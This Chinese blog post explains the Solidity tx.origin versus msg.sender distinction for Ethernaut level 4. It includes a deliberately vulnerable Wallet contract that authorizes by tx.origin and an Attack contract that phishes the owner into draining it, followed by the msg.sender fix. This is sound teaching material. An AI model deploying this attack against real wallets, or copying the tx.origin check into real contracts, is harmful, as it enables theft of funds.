• tx.origin 与 msg.sender


    我最近一直在玩ethernaut web3/solidity 游戏,在第 4 级上,我浪费了几分钟来了解 tx.origin 和 msg.sender 之间的区别,它们在solidity 中构建全局变量。

    根据solidity文档,tx.origin 保存交易发送者的地址,msg.sender 保存消息发送者的地址。那么这到底是什么意思呢?

    msg.sender:指直接调用智能合约函数的账户地址或智能合约地址。

    tx.origin:指调用智能合约函数的账户地址,只有账户地址可以是tx.origin。

    一张图片胜过千言万语

    您可能会注意到,账户地址和智能合约地址都可以是 msg.sender 但 tx.origin 将始终是账户/钱包地址。

    强烈建议始终使用 msg.sender 进行授权或检查调用智能合约的地址。并且永远不要使用 tx.origin 进行授权,因为这可能会使合约容易受到网络钓鱼攻击。

    THORChain最近损失了 800 万美元,是的,由于tx.origin 的滥用,在一次攻击中损失了 800 万美元,请务必仔细检查 tx.origin 是如何在智能合约中使用的,再见👋。

    使用 tx.origin 进行网络钓鱼

    msg.sender和有什么区别tx.origin

    如果合约 A 调用 B,B 调用 C,则在 Cmsg.sender中是 B,并且tx.origin是 A。

    漏洞

    恶意合约可以欺骗合约所有者调用只有所有者才能调用的函数。

     
     
    // SPDX-License-Identifier: MIT pragma solidity ^0.8.13; /* Wallet is a simple contract where only the owner should be able to transfer Ether to another address. Wallet.transfer() uses tx.origin to check that the caller is the owner. Let's see how we can hack this contract */ /* 1. Alice deploys Wallet with 10 Ether 2. Eve deploys Attack with the address of Alice's Wallet contract. 3. Eve tricks Alice to call Attack.attack() 4. Eve successfully stole Ether from Alice's wallet What happened? Alice was tricked into calling Attack.attack(). Inside Attack.attack(), it requested a transfer of all funds in Alice's wallet to Eve's address. Since tx.origin in Wallet.transfer() is equal to Alice's address, it authorized the transfer. The wallet transferred all Ether to Eve. */ contract Wallet { address public owner; constructor() payable { owner = msg.sender; } function transfer(address payable _to, uint _amount) public { require(tx.origin == owner, "Not owner"); (bool sent, ) = _to.call{value: _amount}(""); require(sent, "Failed to send Ether"); } } contract Attack { address payable public owner; Wallet wallet; constructor(Wallet _wallet) { wallet = Wallet(_wallet); owner = payable(msg.sender); } function attack() public { wallet.transfer(owner, address(wallet).balance); } }

    预防技术

    使用msg.sender代替tx.origin

     
     
    function transfer(address payable _to, uint256 _amount) public { require(msg.sender == owner, "Not owner"); (bool sent, ) = _to.call{ value: _amount }(""); require(sent, "Failed to send Ether"); }

    参考

    https://medium.com/@nicolezhu/ethernaut-lvl-4-walkthrough-how-to-abuse-tx-origin-msg-sender-ef37d6751c8

  • 相关阅读:
    Spring:处理@Autowired和@Value注解的BeanPostProcessor
    Spring Boot 中的过滤器 (Filter) 使用方案
    javaEE初阶---linux
    ZNYQ初体验,持续记录中...
    机器学习笔记之高斯网络(三)高斯马尔可夫随机场
    力扣197. 上升的温度
    javaee spring aop 切入点表达式
    基于springboot的ShardingSphere5.2.1的分库分表的解决方案之分库分表解决方案(二)
    JAVA面试题JVM篇(三)
    谈到App加固,裕信银行选择顶象
  • 原文地址:https://blog.csdn.net/qq_42200107/article/details/126938997